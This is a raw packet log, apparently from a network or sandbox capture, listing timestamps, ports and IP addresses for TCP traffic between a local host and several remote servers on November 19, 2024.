Nov 19, 2024 18:00:44.969084024 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.969095945 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.969106913 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.969125986 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.969134092 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.969151974 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.969161987 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.969166040 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.969167948 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.969187021 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.969197035 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.969203949 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.969208002 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.969212055 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.969213963 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.969221115 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.969233036 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.969248056 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.969249964 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.969257116 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.969261885 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.969269991 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.969271898 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.969274044 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.969284058 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.969290018 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.969294071 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.969316959 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.969342947 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.991399050 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.991422892 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.991434097 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.991453886 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.991453886 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.991465092 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.991477013 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.991481066 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.991487026 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.991504908 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.991508007 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.991518021 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.991542101 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.991552114 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.991559982 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.991563082 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.991590023 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.991611004 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.991656065 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.991667032 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.991677046 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.991695881 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.991702080 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.991707087 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.991725922 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.991760015 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.991777897 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.991789103 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.991799116 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.991821051 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.991837978 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.991838932 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.991848946 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.991859913 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.991871119 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.991878033 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.991903067 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.025265932 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.025290012 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.025301933 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.025312901 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.025325060 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.025329113 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.025336981 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.025350094 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.025358915 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.025362968 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.025394917 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.025573969 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.025583982 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.025593996 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.025620937 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.025630951 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.025636911 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.025643110 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.025662899 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.025662899 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.025688887 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.025696039 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.025707006 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.025710106 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.025717020 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.025738001 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.025752068 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.025768995 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.025840044 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.025863886 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.025873899 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.025877953 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.025908947 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.025938034 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.025949001 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.025959015 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.025973082 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.025978088 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.025983095 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.026005030 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.026030064 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.026057005 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.026068926 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.026101112 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.026154995 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.026165009 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.026175976 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.026185989 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.026196003 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.026204109 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.026222944 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.026238918 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.026267052 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.026277065 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.026287079 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.026305914 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.026315928 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.026326895 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.026329041 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.026388884 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.026398897 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.026410103 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.026416063 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.026420116 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.026439905 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.026462078 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.026707888 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.026748896 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.026762009 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.026772976 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.026806116 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.026835918 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.026846886 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.026859045 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.026873112 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.026882887 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.026885986 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.026931047 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.026932001 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.027245045 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.027256966 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.027267933 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.027292013 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.027306080 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.027323961 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.027328014 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.027335882 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.027343988 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.027348042 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.027359009 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.027359009 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.027374029 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.027396917 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.027789116 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.027801037 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.027812958 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.027834892 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.027853012 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.027928114 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.027939081 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.027950048 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.027961016 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.027985096 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.028002977 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.028697968 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.028711081 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.028723001 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.028733969 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.028739929 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.028748035 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.028770924 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.028786898 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.028786898 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.028799057 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.028810978 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.028825045 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.028839111 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.028857946 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.028943062 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.028959036 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.029001951 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.043298006 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:45.043361902 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:45.043395996 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:45.043454885 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:45.043499947 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:45.043606043 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:45.043622017 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:45.043678045 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:45.043689013 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:45.044507027 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:45.044573069 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:45.044584036 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:45.044615030 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:45.044673920 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:45.054265022 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:45.054306030 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:45.054342985 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:45.054349899 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:45.054385900 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:45.054408073 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:45.054526091 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:45.054547071 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:45.054583073 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:45.054588079 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:45.054620028 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:45.054642916 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:45.054899931 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:45.054955006 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:45.054980993 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:45.054989100 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:45.055016041 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:45.055041075 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:45.055262089 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:45.055305004 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:45.055330992 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:45.055360079 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:45.055366039 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:45.055470943 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:45.055507898 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:45.055541992 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:45.055551052 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:45.055561066 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:45.055633068 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:45.055676937 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:45.056165934 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:45.058249950 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:45.058259964 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:45.091021061 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:45.091032982 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:45.192864895 CET	49790	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:45.192897081 CET	443	49790	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:45.193054914 CET	49790	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:45.193347931 CET	49790	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:45.193361998 CET	443	49790	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:45.226089001 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.231017113 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.235241890 CET	443	49786	20.190.160.17	192.168.2.8
Nov 19, 2024 18:00:45.235306978 CET	443	49786	20.190.160.17	192.168.2.8
Nov 19, 2024 18:00:45.235389948 CET	49786	443	192.168.2.8	20.190.160.17
Nov 19, 2024 18:00:45.235415936 CET	443	49786	20.190.160.17	192.168.2.8
Nov 19, 2024 18:00:45.235471010 CET	49786	443	192.168.2.8	20.190.160.17
Nov 19, 2024 18:00:45.235476971 CET	443	49786	20.190.160.17	192.168.2.8
Nov 19, 2024 18:00:45.235517979 CET	49786	443	192.168.2.8	20.190.160.17
Nov 19, 2024 18:00:45.235569954 CET	443	49786	20.190.160.17	192.168.2.8
Nov 19, 2024 18:00:45.235629082 CET	49786	443	192.168.2.8	20.190.160.17
Nov 19, 2024 18:00:45.236661911 CET	49786	443	192.168.2.8	20.190.160.17
Nov 19, 2024 18:00:45.236674070 CET	443	49786	20.190.160.17	192.168.2.8
Nov 19, 2024 18:00:45.253298044 CET	443	49787	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:45.262967110 CET	49787	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:45.262983084 CET	443	49787	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:45.263485909 CET	443	49787	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:45.285291910 CET	49787	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:45.285542965 CET	443	49787	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:45.286432028 CET	49787	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:45.286453009 CET	49787	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:45.286484003 CET	443	49787	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:45.416230917 CET	49793	443	192.168.2.8	20.190.160.17
Nov 19, 2024 18:00:45.416285038 CET	443	49793	20.190.160.17	192.168.2.8
Nov 19, 2024 18:00:45.416359901 CET	49793	443	192.168.2.8	20.190.160.17
Nov 19, 2024 18:00:45.416595936 CET	49793	443	192.168.2.8	20.190.160.17
Nov 19, 2024 18:00:45.416609049 CET	443	49793	20.190.160.17	192.168.2.8
Nov 19, 2024 18:00:45.446615934 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.446635962 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.446655035 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.446667910 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.446680069 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.446691990 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.446690083 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.446703911 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.446717024 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.446732998 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.446754932 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.446789980 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.446852922 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.446852922 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.446866035 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.446877003 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.446902990 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.446928978 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.446929932 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.446942091 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.446953058 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.446964979 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.447007895 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.447022915 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.447032928 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.447035074 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.447046041 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.447057009 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.447058916 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.447101116 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.447117090 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.447118998 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.447173119 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.447216988 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.447237015 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.447253942 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.447264910 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.447289944 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.447303057 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.447309971 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.447330952 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.447341919 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.447367907 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.447391033 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.447396994 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.447407961 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.447413921 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.447424889 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.447448015 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.447475910 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.447530031 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.447541952 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.447567940 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.447578907 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.447578907 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.447596073 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.447606087 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.447622061 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.447629929 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.447659016 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.447666883 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.447679043 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.447690964 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.447727919 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.447738886 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.447771072 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.447786093 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.447858095 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.447870016 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:45.447894096 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.447922945 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:45.447956085 CET	80	49761	185.215.113.206	192.168.2.8
